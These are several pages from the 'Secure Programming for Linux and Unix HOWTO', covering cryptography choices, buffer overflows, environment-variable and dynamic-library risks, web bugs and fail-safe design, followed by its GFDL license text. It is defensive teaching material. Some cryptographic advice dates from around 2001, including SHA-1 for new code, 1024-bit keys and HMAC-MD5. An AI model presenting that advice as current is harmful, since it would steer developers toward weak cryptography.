The Diffie-Hellman key exchange algorithm is widely used to permit two parties to agree on a session key. By itself it doesn't guarantee that the parties are who they say they are, or that there is no middleman, but it does strongly help defend against passive listeners; its patent expired in 1997. If you use Diffie-Hellman to create a shared secret, be sure to hash it first (there's an attack if use its shared value directly).

NIST developed the digital signature standard (DSS) (it's a modification of the ElGamal cryptosystem) for digital signature generation and verification; one of the conditions for its development was for it to be patent-free.

RSA, Diffie-Hellman, and El Gamal's techniques require more bits for the keys for equivalent security compared to typicaly symmetric keys; a 1024-bit key in these systems is roughly equivalent to an 80-bit symmetric key, and in my opinion that is the minimum you should use today. If you need very few bits for a public key, then you might use elliptic curve cryptography (IEEE P1363 has some suggested curves; finding curves is hard). However, be careful - elliptic curve cryptography isn't patented, but certain speedup techniques are patented (elliptic curve is fast enough that it really doesn't need these speedups anyway for its usual use of encrypting session / bulk encryption keys).

10.5.4. Cryptographic Hash Algorithms

Some programs need a one-way cryptographic hash algorithm, that is, a function that takes an ``arbitrary'' amount of data and generates a fixed-length number that hard for an attacker to invert (e.g., it's difficult for an attacker to create a different set of data to generate that same value). For a number of years MD5 has been a favorite, but recent efforts have shown that its 128-bit length may not be enough [van Oorschot 1994] and that certain attacks weaken MD5's protection [Dobbertin 1996]. Indeed, there are rumors that a top industry cryptographer has broken MD5, but is bound by employee agreement to keep silent (see the Bugtraq 22 August 2000 posting by John Viega). Anyone can create a rumor, but enough weaknesses have been found that the idea of completing the break is plausible. If you're writing new code, use SHA-1 instead of MD5. Don't use the original SHA (now called ``SHA-0''); SHA-0 had the same weakness that MD5 does. If you need more bits in your hash algorithm, use SHA-256, SHA-384, or SHA-512; you can get the specifications in NIST FIPS PUB 180-2.

10.5.5. Integrity Checking

When communicating, you need some sort of integrity check (don't depend just on encryption, since an attacker can then induce changes of information to ``random'' values). This can be done with hash algorithms, but don't just use a hash function directly (this exposes users to an ``extension'' attack - the attacker can use the hash value, add data of their choosing, and compute the new hash). The usual approach is ``HMAC'', which computes the integrity check as
  H(k xor opad, H(k xor ipad, data)).
where H is the hash function (typically MD5 or SHA-1) and k is the key. Thus, integrity checks are often HMAC-MD5 or HMAC-SHA-1. Note that although MD5 has some weaknesses, as far as I know MD5 isn't vulnerable when used in this construct, so HMAC-MD5 is (to my knowledge) okay. This is defined in detail in IETF RFC 2104.

Note that in the HMAC approach, a receiver can forge the same data as a sender. This isn't usually a problem, but if this must be avoided, then use public key methods and have the sender ``sign'' the data with the sender private key - this avoids this forging attack, but it's more expensive and for most environments isn't necessary.

10.5.6. Other Cryptographic Issues

You should both encrypt and include integrity checks of data that's important. Don't depend on the encryption also providing integrity - an attacker may be able to change the bits into a different value, and although the attacker may not be able to change it to a specific value, merely changing the value may be enough. In general, you should use different keys for integrity and secrecy, to avoid certain subtle attacks.

One issue not discussed often enough is the problem of ``traffic analysis.'' That is, even if messages are encrypted and the encryption is not broken, an adversary may learn a great deal just from the encrypted messages. For example, if the presidents of two companies start exchanging many encrypted email messages, it may suggest that the two comparies are considering a merger. For another example, many SSH implementations have been found to have a weakness in exchanging passwords: observers could look at packets and determine the length (or length range) of the password, even if they couldn't determine the password itself. They could also also determine other information about the password that significantly aided in breaking it.

Be sure to not make it possible to solve a problem in parts, and use different keys when the trust environment (who is trusted) changes. Don't use the same key for too long - after a while, change the session key or password so an adversary will have to start over.

Generally you should compress something you'll encrypt - this does add a fixed header, which isn't so good, but it eliminates many patterns in the rest of the message as well as making the result smaller, so it's usually viewed as a ``win'' if compression is likely to make the result smaller.

In a related note, if you must create your own communication protocol, examine the problems of what's gone on before. Classics such as Bellovin [1989]'s review of security problems in the TCP/IP protocol suite might help you, as well as Bruce Schneier [1998] and Mudge's breaking of Microsoft's PPTP implementation and their follow-on work. Again, be sure to give any new protocol widespread public review, and reuse what you can.

Prev | Home | Next
Specially Protect Secrets (Passwords and Keys) in User Memory | Up | Using PAM


Dangers in C/C++

Secure Programming for Linux and Unix HOWTO
Prev Chapter 5. Avoid Buffer Overflow Next

5.1. Dangers in C/C++

C users must avoid using dangerous functions that do not check bounds unless they've ensured that the bounds will never get exceeded. Functions to avoid in most cases (or ensure protection) include the functions strcpy(3), strcat(3), sprintf(3) (with cousin vsprintf(3)), and gets(3). These should be replaced with functions such as strncpy(3), strncat(3), snprintf(3), and fgets(3) respectively, but see the discussion below. The function strlen(3) should be avoided unless you can ensure that there will be a terminating NIL character to find. The scanf() family (scanf(3), fscanf(3), sscanf(3), vscanf(3), vsscanf(3), and vfscanf(3)) is often dangerous to use; do not use it to send data to a string without controlling the maximum length (the format %s is a particularly common problem). Other dangerous functions that may permit buffer overruns (depending on their use) include realpath(3), getopt(3), getpass(3), streadd(3), strecpy(3), and strtrns(3). You must be careful with getwd(3); the buffer sent to getwd(3) must be at least PATH_MAX bytes long.

Unfortunately, snprintf()'s variants have additional problems. Officially, snprintf() is not a standard C function in the ISO 1990 (ANSI 1989) standard, though sprintf() is, so not all systems include snprintf(). Even worse, some systems' snprintf() do not actually protect against buffer overflows; they just call sprintf directly. Old versions of Linux's libc4 depended on a ``libbsd'' that did this horrible thing, and I'm told that some old HP systems did the same. Linux's current version of snprintf is known to work correctly, that is, it does actually respect the boundary requested. The return value of snprintf() varies as well; the Single Unix Specification (SUS) version 2 and the C99 standard differ on what is returned by snprintf(). Finally, it appears that at least some versions of snprintf don't guarantee that its string will end in NIL; if the string is too long, it won't include NIL at all. Note that the glib library (the basis of GTK, and not the same as the GNU C library glibc) has a g_snprintf(), which has a consistent return semantic, always NIL-terminates, and most importantly always respects the buffer length.

Prev | Home | Next
Avoid Buffer Overflow | Up | Library Solutions in C/C++


Separate Data and Control

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.3. Separate Data and Control

Any files you support should be designed to completely separate (passive) data from programs that are executed. Applications and data viewers may be used to display files developed externally, so in general don't allow them to accept programs (also known as ``scripts'' or ``macros''). The most dangerous kind is an auto-executing macro that executes when the application is loaded and/or when the data is initially displayed; from a security point-of-view this is generally a disaster waiting to happen.

If you truly must support programs downloaded remotely (e.g., to implement an existing standard), make sure that you you have extremely strong control over what the macro can do (this is often called a ``sandbox''). Past experience has shown that real sandboxes are hard to implement correctly. In fact, I can't remember a single widely-used sandbox that hasn't been repeatedly exploited (yes, that includes Java). If possible, at least have the programs stored in a separate file, so that it's easier to block them out when another sandbox flaw has been found but not yet fixed. Storing them separately also makes it easier to reuse code and to cache it when helpful.

Prev | Home | Next
Secure the Interface | Up | Minimize Privileges


Dynamically Linked Libraries

Secure Programming for Linux and Unix HOWTO
Prev Chapter 3. Summary of Linux and Unix Security Features Next

3.7. Dynamically Linked Libraries

Practically all programs depend on libraries to execute. In most modern Unix-like systems, including Linux, programs are by default compiled to use dynamically linked libraries (DLLs). That way, you can update a library and all the programs using that library will use the new (hopefully improved) version if they can.

Dynamically linked libraries are typically placed in one a few special directories. The usual directories include /lib, /usr/lib, /lib/security for PAM modules, /usr/X11R6/lib for X-windows, and /usr/local/lib. You should use these standard conventions in your programs, in particular, except during debugging you shouldn't use value computed from the current directory as a source for dynamically linked libraries (an attacker may be able to add their own choice ``library'' values).

There are special conventions for naming libraries and having symbolic links for them, with the result that you can update libraries and still support programs that want to use old, non-backward-compatible versions of those libraries. There are also ways to override specific libraries or even just specific functions in a library when executing a particular program. This is a real advantage of Unix-like systems over Windows-like systems; I believe Unix-like systems have a much better system for handling library updates, one reason that Unix and Linux systems are reputed to be more stable than Windows-based systems.

On GNU glibc-based systems, including all Linux systems, the list of directories automatically searched during program start-up is stored in the file /etc/ld.so.conf. Many Red Hat-derived distributions don't normally include /usr/local/lib in the file /etc/ld.so.conf. I consider this a bug, and adding /usr/local/lib to /etc/ld.so.conf is a common ``fix'' required to run many programs on Red Hat-derived systems. If you want to just override a few functions in a library, but keep the rest of the library, you can enter the names of overriding libraries (.o files) in /etc/ld.so.preload; these ``preloading'' libraries will take precedence over the standard set. This preloading file is typically used for emergency patches; a distribution usually won't include such a file when delivered. Searching all of these directories at program start-up would be too time-consuming, so a caching arrangement is actually used. The program ldconfig(8) by default reads in the file /etc/ld.so.conf, sets up the appropriate symbolic links in the dynamic link directories (so they'll follow the standard conventions), and then writes a cache to /etc/ld.so.cache that's then used by other programs. So, ldconfig has to be run whenever a DLL is added, when a DLL is removed, or when the set of DLL directories changes; running ldconfig is often one of the steps performed by package managers when installing a library. On start-up, then, a program uses the dynamic loader to read the file /etc/ld.so.cache and then load the libraries it needs.

Various environment variables can control this process, and in fact there are environment variables that permit you to override this process (so, for example, you can temporarily substitute a different library for this particular execution). In Linux, the environment variable LD_LIBRARY_PATH is a colon-separated set of directories where libraries are searched for first, before the standard set of directories; this is useful when debugging a new library or using a nonstandard library for special purposes, but be sure you trust those who can control those directories. The variable LD_PRELOAD lists object files with functions that override the standard set, just as /etc/ld.so.preload does. The variable LD_DEBUG, displays debugging information; if set to ``all'', voluminous information about the dynamic linking process is displayed while it's occurring.

Permitting user control over dynamically linked libraries would be disastrous for setuid/setgid programs if special measures weren't taken. Therefore, in the GNU glibc implementation, if the program is setuid or setgid these variables (and other similar variables) are ignored or greatly limited in what they can do. The GNU glibc library determines if a program is setuid or setgid by checking the program's credentials; if the UID and EUID differ, or the GID and the EGID differ, the library presumes the program is setuid/setgid (or descended from one) and therefore greatly limits its abilities to control linking. If you load the GNU glibc libraries, you can see this; see especially the files elf/rtld.c and sysdeps/generic/dl-sysdep.c. This means that if you cause the UID and GID to equal the EUID and EGID, and then call a program, these variables will have full effect. Other Unix-like systems handle the situation differently but for the same reason: a setuid/setgid program should not be unduly affected by the environment variables set.

For Linux systems, you can get more information from my document, the Program Library HOWTO.

Prev | Home | Next
Quotas and Limits | Up | Audit


History

Secure Programming for Linux and Unix HOWTO
Prev Next

Appendix A. History

Here are a few key events in the development of this book, starting from most recent events:

2001-01-01 David A. Wheeler

Version 2.70 released, adding a significant amount of additional material, such as a significant expansion of the discussion of cross-site malicious content, HTML/URI filtering, and handling temporary files.

2000-05-24 David A. Wheeler

Switched to GNU's GFDL license, added more content.

2000-04-21 David A. Wheeler

Version 2.00 released, dated 21 April 2000, which switching the document's internal format from the Linuxdoc DTD to the DocBook DTD. Thanks to Jorge Godoy for helping me perform the transition.

2000-04-04 David A. Wheeler

Version 1.60 released; changed so that it now covers both Linux and Unix. Since most of the guidelines covered both, and many/most app developers want their apps to run on both, it made sense to cover both.

2000-02-09 David A. Wheeler

Noted that the document is now part of the Linux Documentation Project (LDP).

1999-11-29 David A. Wheeler

Initial version (1.0) completed and released to the public.

Note that a more detailed description of changes is available on-line in the ``ChangeLog'' file.

Prev | Home | Next
Bibliography |  | Acknowledgements


Counter Web Bugs When Retrieving Embedded Content

Secure Programming for Linux and Unix HOWTO
Prev Chapter 7. Carefully Call Out to Other Resources Next

7.7. Counter Web Bugs When Retrieving Embedded Content

Some data formats can embed references to content that is automatically retrieved when the data is viewed (not waiting for a user to select it). If it's possible to cause this data to be retrieved through the Internet (e.g., through the World Wide Wide), then there is a potential to use this capability to obtain information about readers without the readers' knowledge, and in some cases to force the reader to perform activities without the reader's consent. This privacy concern is sometimes called a ``web bug.''

In a web bug, a reference is intentionally inserted into a document and used by the content author to track who, where, and how often a document is read. The author can also essentially watch how a ``bugged'' document is passed from one person to another or from one organization to another.

The HTML format has had this issue for some time. According to the Privacy Foundation:

Web bugs are used extensively today by Internet advertising companies on Web pages and in HTML-based email messages for tracking. They are typically 1-by-1 pixel in size to make them invisible on the screen to disguise the fact that they are used for tracking. However, they could be any image (using the img tag); other HTML tags that can implement web bugs, e.g., frames, form invocations, and scripts. By itself, invoking the web bug will provide the ``bugging'' site the reader IP address, the page that the reader visited, and various information about the browser; by also using cookies it's often possible to determine the specific identify of the reader. A survey about web bugs is available at http://www.securityspace.com/s_survey/data/man.200102/webbug.html.

What is more concerning is that other document formats seem to have such a capability, too. When viewing HTML from a web site with a web browser, there are other ways of getting information on who is browsing the data, but when viewing a document in another format from an email few users expect that the mere act of reading the document can be monitored. However, for many formats, reading a document can be monitored. For example, it has been recently determined that Microsoft Word can support web bugs; see the Privacy Foundation advisory for more information . As noted in their advisory, recent versions of Microsoft Excel and Microsoft Power Point can also be bugged. In some cases, cookies can be used to obtain even more information.

Web bugs are primarily an issue with the design of the file format. If your users value their privacy, you probably will want to limit the automatic downloading of included files. One exception might be when the file itself is being downloaded (say, via a web browser); downloading other files from the same location at the same time is much less likely to concern users.

Prev | Home | Next
Avoid Using vfork(2) | Up | Hide Sensitive Information


Endorsements

Secure Programming for Linux and Unix HOWTO
Prev Next

Appendix E. Endorsements

This version of the document is endorsed by the original author, David A. Wheeler, as a document that should improve the security of programs. when applied correctly. Modifications (including translations) must remove this appendix per the license agreement included above.

Prev | Home | Next
GNU Free Documentation License |  | About the Author


Environment Variables

Secure Programming for Linux and Unix HOWTO
Prev Chapter 4. Validate All Input Next

4.2. Environment Variables

By default, environment variables are inherited from a process' parent. However, when a program executes another program, the calling program can set the environment variables to arbitrary values. This is dangerous to setuid/setgid programs, because their invoker can completely control the environment variables they're given. Since they are usually inherited, this also applies transitively; a secure program might call some other program and, without special measures, would pass potentially dangerous environment variables values on to the program it calls. The following subsections discuss environment variables and what to do with them.

4.2.1. Some Environment Variables are Dangerous

Some environment variables are dangerous because many libraries and programs are controlled by environment variables in ways that are obscure, subtle, or undocumented. For example, the IFS variable is used by the sh and bash shell to determine which characters separate command line arguments. Since the shell is invoked by several low-level calls (like system(3) and popen(3) in C, or the back-tick operator in Perl), setting IFS to unusual values can subvert apparently-safe calls. This behavior is documented in bash and sh, but it's obscure; many long-time users only know about IFS because of its use in breaking security, not because it's actually used very often for its intended purpose. What is worse is that not all environment variables are documented, and even if they are, those other programs may change and add dangerous environment variables. Thus, the only real solution (described below) is to select the ones you need and throw away the rest.

4.2.2. Environment Variable Storage Format is Dangerous

Normally, programs should use the standard access routines to access environment variables. For example, in C, you should get values using getenv(3), set them using the POSIX standard routine putenv(3) or the BSD extension setenv(3) and eliminate environment variables using unsetenv(3). I should note here that setenv(3) is implemented in Linux, too.

However, crackers need not be so nice; crackers can directly control the environment variable data area passed to a program using execve(2). This permits some nasty attacks, which can only be understood by understanding how environment variables really work. In Linux, you can see environ(5) for a summary how about environment variables really work. In short, environment variables are internally stored as a pointer to an array of pointers to characters; this array is stored in order and terminated by a NULL pointer (so you'll know when the array ends). The pointers to characters, in turn, each point to a NIL-terminated string value of the form ``NAME=value''. This has several implications, for example, environment variable names can't include the equal sign, and neither the name nor value can have embedded NIL characters. However, a more dangerous implication of this format is that it allows multiple entries with the same variable name, but with different values (e.g., more than one value for SHELL). While typical command shells prohibit doing this, a locally-executing cracker can create such a situation using execve(2).

The problem with this storage format (and the way it's set) is that a program might check one of these values (to see if it's valid) but actually use a different one. In Linux, the GNU glibc libraries try to shield programs from this; glibc 2.1's implementation of getenv will always get the first matching entry, setenv and putenv will always set the first matching entry, and unsetenv will actually unset all of the matching entries (congratulations to the GNU glibc implementers for implementing unsetenv this way!). However, some programs go directly to the environ variable and iterate across all environment variables; in this case, they might use the last matching entry instead of the first one. As a result, if checks were made against the first matching entry instead, but the actual value used is the last matching entry, a cracker can use this fact to circumvent the protection routines.

4.2.3. The Solution - Extract and Erase

For secure setuid/setgid programs, the short list of environment variables needed as input (if any) should be carefully extracted. Then the entire environment should be erased, followed by resetting a small set of necessary environment variables to safe values. There really isn't a better way if you make any calls to subordinate programs; there's no practical method of listing ``all the dangerous values''. Even if you reviewed the source code of every program you call directly or indirectly, someone may add new undocumented environment variables after you write your code, and one of them may be exploitable.

The simple way to erase the environment in C/C++ is by setting the global variable environ to NULL. The global variable environ is defined in <unistd.h>; C/C++ users will want to #include this header file. You will need to manipulate this value before spawning threads, but that's rarely a problem, since you want to do these manipulations very early in the program's execution (usually before threads are spawned).

The global variable environ's definition is defined in various standards; it's not clear that the official standards condone directly changing its value, but I'm unaware of any Unix-like system that has trouble with doing this. I normally just modify the ``environ'' directly; manipulating such low-level components is possibly non-portable, but it assures you that you get a clean (and safe) environment. In the rare case where you need later access to the entire set of variables, you could save the ``environ'' variable's value somewhere, but this is rarely necessary; nearly all programs need only a few values, and the rest can be dropped.

Another way to clear the environment is to use the undocumented clearenv() function. The function clearenv() has an odd history; it was supposed to be defined in POSIX.1, but somehow never made it into that standard. However, clearenv() is defined in POSIX.9 (the Fortran 77 bindings to POSIX), so there is a quasi-official status for it. In Linux, clearenv() is defined in <stdlib.h>, but before using #include to include it you must make sure that __USE_MISC is #defined. A somewhat more ``official'' approach is to cause __USE_MISC to be defined is to first #define either _SVID_SOURCE or _BSD_SOURCE, and then #include <features.h> - these are the official feature test macros.

One environment value you'll almost certainly re-add is PATH, the list of directories to search for programs; PATH should not include the current directory and usually be something simple like ``/bin:/usr/bin''. Typically you'll also set IFS (to its default of `` \t\n'', where space is the first character) and TZ (timezone). Linux won't die if you don't supply either IFS or TZ, but some System V based systems have problems if you don't supply a TZ value, and it's rumored that some shells need the IFS value set. In Linux, see environ(5) for a list of common environment variables that you might want to set.

If you really need user-supplied values, check the values first (to ensure that the values match a pattern for legal values and that they are within some reasonable maximum length). Ideally there would be some standard trusted file in /etc with the information for ``standard safe environment variable values'', but at this time there's no standard file defined for this purpose. For something similar, you might want to examine the PAM module pam_env on those systems which have that module.

If you're using a shell as your programming language, you can use the ``/usr/bin/env'' program with the ``-'' option (which erases all environment variables of the program being run). Basically, you call /usr/bin/env, give it the ``-'' option, follow that with the set of variables and their values you wish to set (as name=value), and then follow that with the name of the program to run and its arguments. You usually want to call the program using the full pathname (/usr/bin/env) and not just as ``env'', in case a user has created a dangerous PATH value. Note that GNU's env also accepts the options "-i" and "--ignore-environment" as synonyms (they also erase the environment of the program being started), but these aren't portable to other versions of env.

If you're programming a setuid/setgid program in a language that doesn't allow you to reset the environment directly, one approach is to create a ``wrapper'' program. The wrapper sets the environment program to safe values, and then calls the other program. Beware: make sure the wrapper will actually invoke the intended program; if it's an interpreted program, make sure there's no race condition possible that would allow the interpreter to load a different program than the one that was granted the special setuid/setgid privileges.

Prev | Home | Next
Command line | Up | File Descriptors


Fail Safe

Secure Programming for Linux and Unix HOWTO
Prev Chapter 6. Structure Program Internals and Approach Next

6.9. Fail Safe

A secure program should always ``fail safe'', that is, it should be designed so that if the program does fail, the safest result should occur. For security-critical programs, that usually means that if some sort of misbehavior is detected (malformed input, reaching a ``can't get here'' state, and so on), then the program should immediately deny service and stop processing that request. Don't try to ``figure out what the user wanted'': just deny the service. Sometimes this can decrease reliability or useability (from a user's perspective), but it increases security. There are a few cases where this might not be desired (e.g., where denial of service is much worse than loss of confidentiality or integrity), but such cases are quite rare.

Note that I recommend ``stop processing the request'', not ``fail altogether''. In particular, most servers should not completely halt when given malformed input, because that creates a trivial opportunity for a denial of service attack (the attacker just sends garbage bits to prevent you from using the service). Sometimes taking the whole server down is necessary, in particular, reaching some ``can't get here'' states may signal a problem so drastic that continuing is unwise.

Consider carefully what error message you send back when a failure is detected. if you send nothing back, it may be hard to diagnose problems, but sending back too much information may unintentionally aid an attacker. Usually the best approach is to reply with ``access denied'' or ``miscellaneous error encountered'' and then write more detailed information to an audit log (where you can have more control over who sees the information).

Prev | Home | Next
Load Initialization Values Safely | Up | Avoid Race Conditions


GNU Free Documentation License

Secure Programming for Linux and Unix HOWTO
Prev Next

Appendix D. GNU Free Documentation License

Version 1.1, March 2000

Copyright © 2000

Free Software Foundation, Inc.
59 Temple Place, Suite 330,
Boston,
MA
02111-1307
USA

Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.

0. PREAMBLE

The purpose of this License is to make a manual, textbook, or other written document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.

This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.

We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.

1. APPLICABILITY AND DEFINITIONS

This License applies to any manual or other work that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. The "Document" , below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you".

A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.

A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (For example, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.

The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License.

The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License.

A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, whose contents can be viewed and edited directly and straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup has been designed to thwart or discourage subsequent modification by readers is not Transparent. A copy that is not "Transparent" is called "Opaque".

Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML designed for human modification. Opaque formats include PostScript, PDF, proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML produced by some word processors for output purposes only.

The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.

2. VERBATIM COPYING

You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.

You may also lend copies, under the same conditions stated above, and you may publicly display copies.

3. COPYING IN QUANTITY

If you publish printed copies of the Document numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.

If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.

If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a publicly-accessible computer-network location containing a complete Transparent copy of the Document, free of added material, which the general network-using public has access to download anonymously at no charge using public-standard network protocols. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.

It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.

4. MODIFICATIONS

You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:

  1. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.

  2. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has less than five).

  3. State on the Title Page the name of the publisher of the Modified Version, as the publisher.

  4. Preserve all the copyright notices of the Document.

  5. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.

  6. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.

  7. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice.

  8. Include an unaltered copy of this License.

  9. Preserve the section entitled "History", and its title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.

  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version .

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document , on account of their being thus compiled, if they are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Addendum

To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:

Copyright © YEAR YOUR NAME.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST. A copy of the license is included in the section entitled "GNU Free Documentation License".

If you have no Invariant Sections, write "with no Invariant Sections" instead of saying which ones are invariant. If you have no Front-Cover Texts, write "no Front-Cover Texts" instead of "Front-Cover Texts being LIST"; likewise for Back-Cover Texts.

If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.

Prev | Home | Next
About the Documentation License |  | Endorsements


Summary of Linux and Unix Security Features

Secure Programming for Linux and Unix HOWTO
